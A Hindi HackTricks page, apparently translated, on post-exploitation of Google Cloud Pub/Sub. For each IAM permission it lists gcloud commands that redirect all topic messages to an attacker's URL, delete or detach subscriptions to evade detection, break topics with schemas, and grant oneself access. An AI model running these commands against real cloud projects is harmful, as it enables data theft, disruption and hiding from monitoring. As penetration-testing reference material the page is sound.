GCP - Pub/Sub पोस्ट एक्सप्लोइटेशन
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Pub/Sub
Pub/Sub के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:
pubsub.topics.publish
एक विषय में एक संदेश प्रकाशित करें, अप्रत्याशित डेटा भेजने और अप्रत्याशित कार्यक्षमताओं को ट्रिगर करने या कमजोरियों का लाभ उठाने के लिए उपयोगी:
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
pubsub.topics.detachSubscription
संदेश प्राप्त करने से एक सदस्यता को रोकने के लिए उपयोगी, शायद पहचान से बचने के लिए।
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
pubsub.topics.delete
सदस्यता को संदेश प्राप्त करने से रोकने के लिए उपयोगी, शायद पहचान से बचने के लिए।
यह संभव है कि एक विषय को हटाया जाए, भले ही उस पर सदस्यताएँ जुड़ी हों।
gcloud pubsub topics delete <TOPIC NAME>
pubsub.topics.update
इस अनुमति का उपयोग किसी विषय की सेटिंग को अपडेट करने के लिए करें ताकि इसे बाधित किया जा सके, जैसे --clear-schema-settings
, --message-retention-duration
, --message-storage-policy-allowed-regions
, --schema
, --schema-project
, --topic-encryption-key
...
pubsub.topics.setIamPolicy
अपने लिए किसी भी पिछले हमले को करने की अनुमति दें।
pubsub.subscriptions.create,
pubsub.topics.attachSubscription
, (pubsub.subscriptions.consume
)
एक वेब सर्वर में सभी संदेश प्राप्त करें:
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
सदस्यता बनाएं और इसका उपयोग संदेश खींचने के लिए करें:
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted
pubsub.subscriptions.delete
एक सदस्यता हटाना एक लॉग प्रोसेसिंग सिस्टम या कुछ समान को बाधित करने के लिए उपयोगी हो सकता है:
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
इस अनुमति का उपयोग कुछ सेटिंग को अपडेट करने के लिए करें ताकि संदेश एक ऐसी जगह संग्रहीत हों जहाँ आप पहुँच सकते हैं (URL, Big Query तालिका, बकेट) या बस इसे बाधित करने के लिए।
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
pubsub.subscriptions.setIamPolicy
अपने आप को उन हमलों को करने के लिए आवश्यक अनुमतियाँ दें जिनका पहले उल्लेख किया गया था।
pubsub.schemas.attach
, pubsub.topics.update
,(pubsub.schemas.create
)
एक स्कीमा को एक विषय से जोड़ें ताकि संदेश इसे पूरा न करें और इसलिए विषय बाधित हो जाए।
यदि कोई स्कीमा नहीं है, तो आपको एक बनाने की आवश्यकता हो सकती है।
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
यह ऐसा लग सकता है जैसे आप एक स्कीमा को हटा रहे हैं जिससे आप ऐसे संदेश भेज सकेंगे जो स्कीमा को पूरा नहीं करते। हालाँकि, चूंकि स्कीमा हटा दिया जाएगा, कोई भी संदेश वास्तव में विषय के अंदर नहीं जाएगा। इसलिए यह व्यर्थ है:
gcloud pubsub schemas delete <SCHEMA NAME>
pubsub.schemas.setIamPolicy
अपने आप को उन हमलों को करने के लिए आवश्यक अनुमतियाँ दें जिनका पहले उल्लेख किया गया था।
pubsub.snapshots.create
, pubsub.snapshots.seek
यह सभी अन-ACK किए गए संदेशों का एक स्नैपशॉट बनाएगा और उन्हें सब्सक्रिप्शन में वापस डाल देगा। एक हमलावर के लिए यह बहुत उपयोगी नहीं है लेकिन यहाँ यह है:
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।